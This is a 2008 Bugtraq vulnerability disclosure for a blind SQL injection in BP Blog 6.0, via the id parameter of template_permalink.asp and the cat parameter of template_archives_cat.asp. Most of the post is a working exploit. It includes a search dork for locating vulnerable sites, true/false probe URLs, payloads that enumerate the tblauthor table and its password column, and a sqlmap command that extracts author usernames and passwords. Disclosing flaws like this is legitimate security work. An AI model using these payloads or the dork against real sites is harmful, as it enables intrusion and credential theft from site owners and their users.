bugtraq - BP Blog 6.0 (id) Remote Blind SQL Injection Vulnerability

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Message-ID: <20080601103520.3618.qmail@securityfocus.com>
Date: 1 Jun 2008 10:35:20 -0000
From: sys-project@...mail.com
To: bugtraq@...urityfocus.com
Subject: BP Blog 6.0 (id) Remote Blind SQL Injection Vulnerability

BP Blog 6.0 (id) Remote Blind SQL Injection Vulnerability

JosS, Jose Luis Góngora Fernández
Spanish Hackers Team
www.spanish-hackers.com

[+] Info:

[~] Software: bp blog
[~] HomePage: http://blog.betaparticle.com/
[~] Exploit: Blind SQL Injection [High]
[~] Vuln file: template_permalink.asp
[~] Vuln file2: template_archives_cat.asp

[~] template_permalink.asp?id=[blind]
[~] template_archives_cat.asp?cat=[blind]

[~] Bug found by JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Dork: "Powered by bp blog 6.0"

[+] Compression:

[~] True: http://localhost/[path]/template_permalink.asp?id=78 and 1=1
[~] False: http://localhost/[path]/template_permalink.asp?id=78 and 1=2

[+] Exploding:

[*] Checking table: 

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) >= 0
[~] Example2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from tblauthor)
[~] If you don't see any error, it is that table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) = 1
[~] If you don't see any error, the table has 1 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorpassword) FROM tblauthor) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorusername) FROM tblauthor) >= 0
[~] If you don't see any error, the column exists.

[*] User and password:

[~] Exploit: ./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "text" -e "sql query"
[~] Example: ./sqlmap.py -u "http://../template_permalink.asp?id=78" -p id -a "./txt/user-agents.txt" -v1 --string "bp   blog" -e "<SELECT concat(fldauthorusername,0x3a,fldauthorpassword) from tblauthor where 1=1>"

_EOF_